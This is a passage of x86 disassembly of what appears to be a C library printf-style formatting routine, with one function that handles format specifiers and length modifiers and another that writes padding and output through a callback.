var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	ebx
		movzx	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		cmp	eax, 41h
		jl	short loc_44ABD0
		cmp	eax, 47h
		jg	short loc_44ABDF
		jmp	dword_40FC40[eax*4]
; ---------------------------------------------------------------------------


loc_44ABD0:				; CODE XREF: sub_44ABB1+11j
		cmp	[ebp+var_4], 25h
		jz	loc_44B2A3
		jmp	loc_44B2B8
; ---------------------------------------------------------------------------


loc_44ABDF:				; CODE XREF: sub_44ABB1+16j
		mov	eax, [ebp+var_4]
		cmp	eax, 58h
		jz	loc_44AE14
		jl	loc_44B2B8
		mov	eax, [ebp+var_4]
		cmp	eax, 61h
		jl	loc_44B2B8
		cmp	eax, 78h
		jg	loc_44B2B8
		jmp	dword_40FBDC[eax*4]
; ---------------------------------------------------------------------------
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 6Ch
		jz	short loc_44AC3A
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		add	ecx, 4
		mov	[eax], ecx
		mov	eax, [ebp+arg_C]
		mov	ecx, [ecx-4]
		mov	[eax+edx], cl
		jmp	loc_44B2E3
; ---------------------------------------------------------------------------


loc_44AC3A:				; CODE XREF: sub_44ABB1+63j
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	eax, [edx-4]
		mov	[ebp+var_6], ax
		mov	[ebp+var_A], ax
		mov	[ebp+var_8], 0
		mov	edx, [ebp+arg_0]
		or	dword ptr [edx+2Ch], 0FFFFFFFFh
		lea	eax, [ebp+var_A]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44BE31
		add	esp, 8
		test	eax, eax
		jge	loc_44B2E3
		or	eax, 0FFFFFFFFh
		jmp	loc_44B2E5
; ---------------------------------------------------------------------------
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 6Ch
		jnz	short loc_44ACA1
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 4
		mov	[edx], ecx
		mov	edx, [ecx-4]
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[ebp+var_10], ecx
		mov	[ebp-0Ch], ebx
		jmp	short loc_44AD15
; ---------------------------------------------------------------------------


loc_44ACA1:				; CODE XREF: sub_44ABB1+D2j
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+3Ah], 71h
		jnz	short loc_44ACC2
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 8
		mov	[edx], ecx
		mov	ebx, [ecx-4]
		mov	ecx, [ecx-8]
		mov	[ebp+var_10], ecx
		mov	[ebp-0Ch], ebx
		jmp	short loc_44AD09
; ---------------------------------------------------------------------------


loc_44ACC2:				; CODE XREF: sub_44ABB1+F7j
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+3Ah], 6Ah
		jnz	short loc_44ACE3
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 8
		mov	[edx], ecx
		mov	ebx, [ecx-4]
		mov	ecx, [ecx-8]
		mov	[ebp+var_10], ecx
		mov	[ebp-0Ch], ebx
		jmp	short loc_44ACFD
; ---------------------------------------------------------------------------


loc_44ACE3:				; CODE XREF: sub_44ABB1+118j
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 4
		mov	[edx], ecx
		mov	edx, [ecx-4]
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[ebp+var_10], ecx
		mov	[ebp-0Ch], ebx


loc_44ACFD:				; CODE XREF: sub_44ABB1+130j
		mov	ecx, [ebp+var_10]
		mov	ebx, [ebp-0Ch]
		mov	[ebp+var_10], ecx
		mov	[ebp-0Ch], ebx


loc_44AD09:				; CODE XREF: sub_44ABB1+10Fj
		mov	ecx, [ebp+var_10]
		mov	ebx, [ebp-0Ch]
		mov	[ebp+var_10], ecx
		mov	[ebp-0Ch], ebx


loc_44AD15:				; CODE XREF: sub_44ABB1+EEj
		mov	ecx, [ebp+var_10]
		mov	ebx, [ebp-0Ch]
		mov	[eax], ecx
		mov	[eax+4], ebx
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 68h
		jnz	short loc_44AD45
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	ebx, [eax+4]
		mov	dx, cx
		movsx	edx, dx
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[eax], ecx
		mov	[eax+4], ebx
		jmp	short loc_44AD8B
; ---------------------------------------------------------------------------


loc_44AD45:				; CODE XREF: sub_44ABB1+176j
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 62h
		jnz	short loc_44AD69
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	ebx, [eax+4]
		mov	dl, cl
		movsx	edx, dl
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[eax], ecx
		mov	[eax+4], ebx
		jmp	short loc_44AD8B
; ---------------------------------------------------------------------------


loc_44AD69:				; CODE XREF: sub_44ABB1+19Bj
		mov	eax, [ebp+arg_0]
		mov	al, [eax+3Ah]
		cmp	al, 74h
		jz	short loc_44AD77
		cmp	al, 7Ah
		jnz	short loc_44AD8B


loc_44AD77:				; CODE XREF: sub_44ABB1+1C0j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	ebx, [eax+4]
		mov	edx, ecx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[eax], ecx
		mov	[eax+4], ebx


loc_44AD8B:				; CODE XREF: sub_44ABB1+192j
					; sub_44ABB1+1B6j ...
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+4]
		mov	eax, [eax]
		test	edx, edx
		jg	short loc_44ADB2
		jl	short loc_44AD9D
		test	eax, eax
		jnb	short loc_44ADB2


loc_44AD9D:				; CODE XREF: sub_44ABB1+1E6j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax+edx], 2Dh
		jmp	short loc_44ADF0
; ---------------------------------------------------------------------------


loc_44ADB2:				; CODE XREF: sub_44ABB1+1E4j
					; sub_44ABB1+1EAj
		mov	eax, [ebp+arg_0]
		test	word ptr [eax+38h], 2
		jz	short loc_44ADD2
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax+edx], 2Bh
		jmp	short loc_44ADF0
; ---------------------------------------------------------------------------


loc_44ADD2:				; CODE XREF: sub_44ABB1+20Aj
		mov	eax, [ebp+arg_0]
		test	word ptr [eax+38h], 1
		jz	short loc_44ADF0
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax+edx], 20h


loc_44ADF0:				; CODE XREF: sub_44ABB1+1FFj
					; sub_44ABB1+21Fj ...
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		mov	ecx, [ebp+arg_C]
		add	edx, ecx
		mov	[eax+10h], edx
		movzx	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44BF81
		add	esp, 8
		jmp	loc_44B2E3
; ---------------------------------------------------------------------------


loc_44AE14:				; CODE XREF: sub_44ABB1+34j
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 6Ch
		jnz	short loc_44AE36
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 4
		mov	[edx], ecx
		mov	edx, [ecx-4]
		mov	ecx, edx
		xor	ebx, ebx
		mov	[ebp+var_18], ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_44AEA7
; ---------------------------------------------------------------------------


loc_44AE36:				; CODE XREF: sub_44ABB1+26Aj
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+3Ah], 71h
		jnz	short loc_44AE57
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 8
		mov	[edx], ecx
		mov	ebx, [ecx-4]
		mov	ecx, [ecx-8]
		mov	[ebp+var_18], ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_44AE9B
; ---------------------------------------------------------------------------


loc_44AE57:				; CODE XREF: sub_44ABB1+28Cj
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+3Ah], 6Ah
		jnz	short loc_44AE78
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 8
		mov	[edx], ecx
		mov	ebx, [ecx-4]
		mov	ecx, [ecx-8]
		mov	[ebp+var_18], ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_44AE8F
; ---------------------------------------------------------------------------


loc_44AE78:				; CODE XREF: sub_44ABB1+2ADj
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 4
		mov	[edx], ecx
		mov	edx, [ecx-4]
		mov	ecx, edx
		xor	ebx, ebx
		mov	[ebp+var_18], ecx
		mov	[ebp+var_14], ebx


loc_44AE8F:				; CODE XREF: sub_44ABB1+2C5j
		mov	ecx, [ebp+var_18]
		mov	ebx, [ebp+var_14]
		mov	[ebp+var_18], ecx
		mov	[ebp+var_14], ebx


loc_44AE9B:				; CODE XREF: sub_44ABB1+2A4j
		mov	ecx, [ebp+var_18]
		mov	ebx, [ebp+var_14]
		mov	[ebp+var_18], ecx
		mov	[ebp+var_14], ebx


loc_44AEA7:				; CODE XREF: sub_44ABB1+283j
		mov	ecx, [ebp+var_18]
		mov	ebx, [ebp+var_14]
		mov	[eax], ecx
		mov	[eax+4], ebx
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 68h
		jnz	short loc_44AED6
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	ebx, [eax+4]
		mov	edx, ecx
		movzx	edx, dx
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[eax], ecx
		mov	[eax+4], ebx
		jmp	short loc_44AF19
; ---------------------------------------------------------------------------


loc_44AED6:				; CODE XREF: sub_44ABB1+308j
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 62h
		jnz	short loc_44AEFA
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	ebx, [eax+4]
		mov	edx, ecx
		movzx	edx, dl
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[eax], ecx
		mov	[eax+4], ebx
		jmp	short loc_44AF19
; ---------------------------------------------------------------------------


loc_44AEFA:				; CODE XREF: sub_44ABB1+32Cj
		mov	eax, [ebp+arg_0]
		mov	al, [eax+3Ah]
		cmp	al, 74h
		jz	short loc_44AF08
		cmp	al, 7Ah
		jnz	short loc_44AF19


loc_44AF08:				; CODE XREF: sub_44ABB1+351j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	ebx, [eax+4]
		mov	edx, ecx
		xor	ebx, ebx
		mov	[eax], ecx
		mov	[eax+4], ebx


loc_44AF19:				; CODE XREF: sub_44ABB1+323j
					; sub_44ABB1+347j ...
		mov	eax, [ebp+arg_0]
		test	word ptr [eax+38h], 8
		jz	short loc_44AF64
		mov	edx, [eax+4]
		mov	eax, [eax]
		test	edx, edx
		jnz	short loc_44AF31
		test	eax, eax
		jz	short loc_44AF64


loc_44AF31:				; CODE XREF: sub_44ABB1+37Aj
		mov	al, [ebp+arg_8]
		cmp	al, 78h
		jz	short loc_44AF3C
		cmp	al, 58h
		jnz	short loc_44AF64


loc_44AF3C:				; CODE XREF: sub_44ABB1+385j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax+edx], 30h
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	cl, [ebp+arg_8]
		mov	[eax+edx], cl


loc_44AF64:				; CODE XREF: sub_44ABB1+371j
					; sub_44ABB1+37Ej ...
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		mov	ecx, [ebp+arg_C]
		add	edx, ecx
		mov	[eax+10h], edx
		movzx	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44BF81
		add	esp, 8
		jmp	loc_44B2E3
; ---------------------------------------------------------------------------
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 4Ch
		jnz	short loc_44AFA3
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 8
		mov	[edx], ecx
		fld	qword ptr [ecx-8]
		fstp	[ebp+var_20]
		jmp	short loc_44AFB3
; ---------------------------------------------------------------------------


loc_44AFA3:				; CODE XREF: sub_44ABB1+3DEj
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 8
		mov	[edx], ecx
		fld	qword ptr [ecx-8]
		fstp	[ebp+var_20]


loc_44AFB3:				; CODE XREF: sub_44ABB1+3F0j
		fld	[ebp+var_20]
		fstp	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44C1C1
		pop	ecx
		cmp	ax, 2
		jz	short loc_44B026
		mov	eax, [ebp+arg_0]
		test	word ptr [eax+6], 8000h
		jz	short loc_44AFE8
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax+edx], 2Dh
		jmp	short loc_44B026
; ---------------------------------------------------------------------------


loc_44AFE8:				; CODE XREF: sub_44ABB1+420j
		mov	eax, [ebp+arg_0]
		test	word ptr [eax+38h], 2
		jz	short loc_44B008
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax+edx], 2Bh
		jmp	short loc_44B026
; ---------------------------------------------------------------------------


loc_44B008:				; CODE XREF: sub_44ABB1+440j
		mov	eax, [ebp+arg_0]
		test	word ptr [eax+38h], 1
		jz	short loc_44B026
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax+edx], 20h


loc_44B026:				; CODE XREF: sub_44ABB1+415j
					; sub_44ABB1+435j ...
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		mov	ecx, [ebp+arg_C]
		add	edx, ecx
		mov	[eax+10h], edx
		movzx	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44C1D1
		add	esp, 8
		jmp	loc_44B2E3
; ---------------------------------------------------------------------------
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax+3Ah]
		mov	[ebp+var_24], eax
		cmp	eax, 68h
		jz	loc_44B133
		cmp	eax, 6Ah
		jz	short loc_44B0DB
		cmp	eax, 6Ch
		jz	loc_44B14E
		jg	short loc_44B078
		cmp	[ebp+var_24], 62h
		jz	short loc_44B09D
		jmp	loc_44B168
; ---------------------------------------------------------------------------


loc_44B078:				; CODE XREF: sub_44ABB1+4BAj
		mov	eax, [ebp+var_24]
		cmp	eax, 71h
		jz	short loc_44B0B7
		cmp	eax, 74h
		jz	short loc_44B0FF
		cmp	eax, 71h
		jl	loc_44B168
		cmp	[ebp+var_24], 7Ah
		jz	loc_44B119
		jmp	loc_44B168
; ---------------------------------------------------------------------------


loc_44B09D:				; CODE XREF: sub_44ABB1+4C0j
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	edx, [edx-4]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+30h]
		mov	[edx], al
		jmp	loc_44B2E3
; ---------------------------------------------------------------------------


loc_44B0B7:				; CODE XREF: sub_44ABB1+4CDj
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	eax, [edx-4]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+30h]
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[eax], ecx
		mov	[eax+4], ebx
		jmp	loc_44B2E3
; ---------------------------------------------------------------------------


loc_44B0DB:				; CODE XREF: sub_44ABB1+4AFj
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	eax, [edx-4]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+30h]
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[eax], ecx
		mov	[eax+4], ebx
		jmp	loc_44B2E3
; ---------------------------------------------------------------------------


loc_44B0FF:				; CODE XREF: sub_44ABB1+4D2j
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	edx, [edx-4]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+30h]
		mov	[edx], eax
		jmp	loc_44B2E3
; ---------------------------------------------------------------------------


loc_44B119:				; CODE XREF: sub_44ABB1+4E1j
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	edx, [edx-4]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+30h]
		mov	[edx], eax
		jmp	loc_44B2E3
; ---------------------------------------------------------------------------


loc_44B133:				; CODE XREF: sub_44ABB1+4A6j
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	edx, [edx-4]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+30h]
		mov	[edx], ax
		jmp	loc_44B2E3
; ---------------------------------------------------------------------------


loc_44B14E:				; CODE XREF: sub_44ABB1+4B4j
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	edx, [edx-4]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+30h]
		mov	[edx], eax
		jmp	loc_44B2E3
; ---------------------------------------------------------------------------


loc_44B168:				; CODE XREF: sub_44ABB1+4C2j
					; sub_44ABB1+4D7j ...
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	edx, [edx-4]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+30h]
		mov	[edx], eax
		jmp	loc_44B2E3
; ---------------------------------------------------------------------------
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	eax, [ebp+arg_0]
		mov	edx, [edx-4]
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[eax], ecx
		mov	[eax+4], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	ebx, [eax+4]
		xor	ebx, ebx
		mov	[eax], ecx
		mov	[eax+4], ebx
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+34h], 8
		mov	eax, [ebp+arg_0]
		or	word ptr [eax+38h], 10h
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		mov	ecx, [ebp+arg_C]
		add	edx, ecx
		mov	[eax+10h], edx
		push	78h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44BF81
		add	esp, 8
		jmp	loc_44B2E3
; ---------------------------------------------------------------------------
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 6Ch
		jz	loc_44B280
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[ebp+var_2C], edx
		mov	[eax], edx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_2C]
		mov	eax, [eax-4]
		mov	[edx+10h], eax
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+10h], 0
		jnz	short loc_44B219
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+10h], offset dword_40FDC0


loc_44B219:				; CODE XREF: sub_44ABB1+65Cj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_38], eax
		cmp	dword ptr [eax+2Ch], 0
		jge	short loc_44B23A
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+10h]
		or	eax, 0FFFFFFFFh


loc_44B22E:				; CODE XREF: sub_44ABB1+682j
		inc	eax
		cmp	byte ptr [edx+eax], 0
		jnz	short loc_44B22E
		mov	[ebp+var_30], eax
		jmp	short loc_44B275
; ---------------------------------------------------------------------------


loc_44B23A:				; CODE XREF: sub_44ABB1+672j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		push	edx
		push	0
		mov	eax, [eax+10h]
		push	eax
		call	sub_449F21
		add	esp, 0Ch
		mov	[ebp+var_28], eax
		test	eax, eax
		jz	short loc_44B266
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+10h]
		sub	eax, edx
		mov	[ebp+var_34], eax
		jmp	short loc_44B26F
; ---------------------------------------------------------------------------


loc_44B266:				; CODE XREF: sub_44ABB1+6A3j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+2Ch]
		mov	[ebp+var_34], eax


loc_44B26F:				; CODE XREF: sub_44ABB1+6B3j
		mov	eax, [ebp+var_34]
		mov	[ebp+var_30], eax


loc_44B275:				; CODE XREF: sub_44ABB1+687j
		mov	eax, [ebp+var_30]
		mov	edx, [ebp+var_38]
		mov	[edx+1Ch], eax
		jmp	short loc_44B2E3
; ---------------------------------------------------------------------------


loc_44B280:				; CODE XREF: sub_44ABB1+636j
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	eax, [edx-4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44BE31
		add	esp, 8
		test	eax, eax
		jge	short loc_44B2E3
		or	eax, 0FFFFFFFFh
		jmp	short loc_44B2E5
; ---------------------------------------------------------------------------


loc_44B2A3:				; CODE XREF: sub_44ABB1+23j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax+edx], 25h
		jmp	short loc_44B2E3
; ---------------------------------------------------------------------------


loc_44B2B8:				; CODE XREF: sub_44ABB1+29j
					; sub_44ABB1+3Aj ...
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_44B2D3
		movzx	eax, [ebp+arg_8]
		mov	[ebp+var_28], eax
		jmp	short loc_44B2DA
; ---------------------------------------------------------------------------


loc_44B2D3:				; CODE XREF: sub_44ABB1+717j
		mov	[ebp+var_28], 25h


loc_44B2DA:				; CODE XREF: sub_44ABB1+720j
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_28]
		mov	[eax+edx], cl


loc_44B2E3:				; CODE XREF: sub_44ABB1+84j
					; sub_44ABB1+BDj ...
		xor	eax, eax


loc_44B2E5:				; CODE XREF: sub_44ABB1+C6j
					; sub_44ABB1+6F0j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44ABB1	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44B2F1	proc near		; CODE XREF: sub_449761+25Ap
					; sub_44BE31+D7p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx+34h]
		sub	eax, [ebx+14h]
		sub	eax, [ebx+18h]
		sub	eax, [ebx+1Ch]
		sub	eax, [ebx+20h]
		sub	eax, [ebx+24h]
		sub	eax, [ebx+28h]
		mov	[ebp+var_4], eax
		test	word ptr [ebx+38h], 4
		jnz	short loc_44B370
		cmp	[ebp+var_4], 0
		jle	short loc_44B370
		mov	esi, [ebp+var_4]
		jmp	short loc_44B36C
; ---------------------------------------------------------------------------


loc_44B328:				; CODE XREF: sub_44B2F1+7Dj
		cmp	esi, 20h
		jbe	short loc_44B336
		mov	[ebp+var_8], 20h
		jmp	short loc_44B33B
; ---------------------------------------------------------------------------


loc_44B336:				; CODE XREF: sub_44B2F1+3Aj
		mov	eax, esi
		mov	[ebp+var_8], eax


loc_44B33B:				; CODE XREF: sub_44B2F1+43j
		mov	eax, [ebp+var_8]
		mov	edi, eax
		test	edi, edi
		jle	short loc_44B36A
		push	edi
		push	offset asc_40FDC8 ; "				     "
		mov	eax, [ebx+0Ch]
		push	eax
		call	dword ptr [ebx+8]
		add	esp, 0Ch
		lea	edx, [ebx+0Ch]
		mov	[edx], eax
		test	eax, eax
		jz	short loc_44B362
		add	[ebx+30h], edi
		jmp	short loc_44B36A
; ---------------------------------------------------------------------------


loc_44B362:				; CODE XREF: sub_44B2F1+6Aj
		or	eax, 0FFFFFFFFh
		jmp	loc_44B558
; ---------------------------------------------------------------------------


loc_44B36A:				; CODE XREF: sub_44B2F1+51j
					; sub_44B2F1+6Fj
		sub	esi, edi


loc_44B36C:				; CODE XREF: sub_44B2F1+35j
		test	esi, esi
		jg	short loc_44B328


loc_44B370:				; CODE XREF: sub_44B2F1+2Aj
					; sub_44B2F1+30j
		cmp	dword ptr [ebx+14h], 0
		jle	short loc_44B3A1
		mov	eax, [ebx+14h]
		push	eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebx+0Ch]
		push	eax
		call	dword ptr [ebx+8]
		add	esp, 0Ch
		lea	edx, [ebx+0Ch]
		mov	[edx], eax
		test	eax, eax
		jz	short loc_44B399
		mov	eax, [ebx+14h]
		add	[ebx+30h], eax
		jmp	short loc_44B3A1
; ---------------------------------------------------------------------------


loc_44B399:				; CODE XREF: sub_44B2F1+9Ej
		or	eax, 0FFFFFFFFh
		jmp	loc_44B558
; ---------------------------------------------------------------------------


loc_44B3A1:				; CODE XREF: sub_44B2F1+83j
					; sub_44B2F1+A6j
		cmp	dword ptr [ebx+18h], 0
		jle	short loc_44B3F4
		mov	esi, [ebx+18h]
		jmp	short loc_44B3F0
; ---------------------------------------------------------------------------


loc_44B3AC:				; CODE XREF: sub_44B2F1+101j
		cmp	esi, 20h
		jbe	short loc_44B3BA
		mov	[ebp+var_8], 20h
		jmp	short loc_44B3BF
; ---------------------------------------------------------------------------


loc_44B3BA:				; CODE XREF: sub_44B2F1+BEj
		mov	eax, esi
		mov	[ebp+var_8], eax


loc_44B3BF:				; CODE XREF: sub_44B2F1+C7j
		mov	eax, [ebp+var_8]
		mov	edi, eax
		test	edi, edi
		jle	short loc_44B3EE
		push	edi
		push	offset a00000000000000 ; "00000000000000000000000000000000"
		mov	eax, [ebx+0Ch]
		push	eax
		call	dword ptr [ebx+8]
		add	esp, 0Ch
		lea	edx, [ebx+0Ch]
		mov	[edx], eax
		test	eax, eax
		jz	short loc_44B3E6
		add	[ebx+30h], edi
		jmp	short loc_44B3EE
; ---------------------------------------------------------------------------


loc_44B3E6:				; CODE XREF: sub_44B2F1+EEj
		or	eax, 0FFFFFFFFh
		jmp	loc_44B558
; ---------------------------------------------------------------------------


loc_44B3EE:				; CODE XREF: sub_44B2F1+D5j
					; sub_44B2F1+F3j
		sub	esi, edi


loc_44B3F0:				; CODE XREF: sub_44B2F1+B9j
		test	esi, esi
		jg	short loc_44B3AC


loc_44B3F4:				; CODE XREF: sub_44B2F1+B4j
		cmp	dword ptr [ebx+1Ch], 0
		jle	short loc_44B425
		mov	eax, [ebx+1Ch]
		push	eax
		mov	eax, [ebx+10h]
		push	eax
		mov	eax, [ebx+0Ch]
		push	eax
		call	dword ptr [ebx+8]
		add	esp, 0Ch
		lea	edx, [ebx+0Ch]
		mov	[edx], eax
		test	eax, eax
		jz	short loc_44B41D
		mov	eax, [ebx+1Ch]
		add	[ebx+30h], eax
		jmp	short loc_44B425
; ---------------------------------------------------------------------------


loc_44B41D:				; CODE XREF: sub_44B2F1+122j
		or	eax, 0FFFFFFFFh
		jmp	loc_44B558
; ---------------------------------------------------------------------------


loc_44B425:				; CODE XREF: sub_44B2F1+107j
					; sub_44B2F1+12Aj
		cmp	dword ptr [ebx+20h], 0
		jle	short loc_44B478
		mov	esi, [ebx+20h]
		jmp	short loc_44B474
; ---------------------------------------------------------------------------


loc_44B430:				; CODE XREF: sub_44B2F1+185j
		cmp	esi, 20h
		jbe	short loc_44B43E
		mov	[ebp+var_8], 20h
		jmp	short loc_44B443
; ---------------------------------------------------------------------------


loc_44B43E:				; CODE XREF: sub_44B2F1+142j
		mov	eax, esi
		mov	[ebp+var_8], eax


loc_44B443:				; CODE XREF: sub_44B2F1+14Bj
		mov	eax, [ebp+var_8]
		mov	edi, eax
		test	edi, edi
		jle	short loc_44B472
		push	edi
		push	offset a00000000000000 ; "00000000000000000000000000000000"
		mov	eax, [ebx+0Ch]
		push	eax
		call	dword ptr [ebx+8]
		add	esp, 0Ch
		lea	edx, [ebx+0Ch]
